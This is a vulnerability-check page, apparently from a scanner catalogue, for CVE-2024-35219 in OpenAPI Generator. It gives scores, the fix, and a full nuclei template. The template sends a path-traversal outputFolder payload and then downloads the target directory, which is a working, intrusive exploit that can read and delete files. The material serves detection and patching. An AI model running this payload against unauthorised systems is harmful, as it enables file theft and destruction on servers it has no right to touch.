OpenAPI Generator <= 7.5.0 - Arbitrary File Read/Delete

highseverity

8.3CVSS score

3.6%likelihood of exploitation, next 30 days

90%of all CVEs are less likely

Readycheck to confirm it

OpenAPI Generator versions 7.5.0 and below are prone to an Arbitrary File Read/Delete vulnerability. Attackers can exploit this vulnerability to read and delete files and folders from an arbitrary, writable directory.

Impact

Authenticated attackers can read and delete arbitrary files and folders from writable directories.

Fix

Update OpenAPI Generator to a version later than 7.5.0.

How to confirm it

Send: POST /api/gen/clients/csharp
Positive when: contains "code" and "link"
Send: GET /api/gen/download/{{code}}
Positive when: contains "pixmaps/debian-logo.png"

Run it with nuclei: nuclei -id CVE-2024-35219 -u <target>

The full check

id: CVE-2024-35219

info:
  name: OpenAPI Generator <= 7.5.0 - Arbitrary File Read/Delete
  author: iamnoooob,rootxharsh,pdresearch
  severity: high
  description: |
    OpenAPI Generator versions 7.5.0 and below are prone to an Arbitrary File Read/Delete vulnerability. Attackers can exploit this vulnerability to read and delete files and folders from an arbitrary, writable directory.
  impact: |
    Authenticated attackers can read and delete arbitrary files and folders from writable directories.
  remediation: |
    Update OpenAPI Generator to a version later than 7.5.0.
  reference:
    - https://www.sonarsource.com/blog/the-power-of-taint-analysis-uncovering-critical-code-vulnerability-in-openapi-generator/
    - https://github.com/OpenAPITools/openapi-generator/commit/edbb021aadae47dcfe690313ce5119faf77f800d
    - https://github.com/OpenAPITools/openapi-generator/pull/18652
    - https://github.com/OpenAPITools/openapi-generator/security/advisories/GHSA-g3hr-p86p-593h
    - https://nvd.nist.gov/vuln/detail/CVE-2024-35219
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:H
    cvss-score: 8.3
    cve-id: CVE-2024-35219
    cwe-id: CWE-22
    epss-score: 0.03592
    epss-percentile: 0.89536
  metadata:
    max-request: 2
    verified: true
  tags: cve,cve2024,openapi,intrusive,lfi,vkev,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /api/gen/clients/csharp HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {
          "authorizationValue": {
            "keyName": "string",
            "type": "string",
            "value": "string"
          },
         "openAPIUrl": "https://raw.githubusercontent.com/OpenAPITools/openapi-generator/master/modules/openapi-generator/src/test/resources/2_0/petstore.yaml",
           "options": {"outputFolder":"../../../../../../usr/share/pixmaps/"},
          "spec": {}
        }

    matchers:
      - type: word
        part: body
        words:
          - code
          - link
        condition: and
        internal: true

    extractors:
      - type: json
        name: code
        part: body
        json:
          - '.code'
        internal: true

  - raw:
      - |
        GET /api/gen/download/{{code}} HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        part: body
        words:
          - "pixmaps/debian-logo.png"

References

Use this check only on systems you are authorised to test. Where the data comes from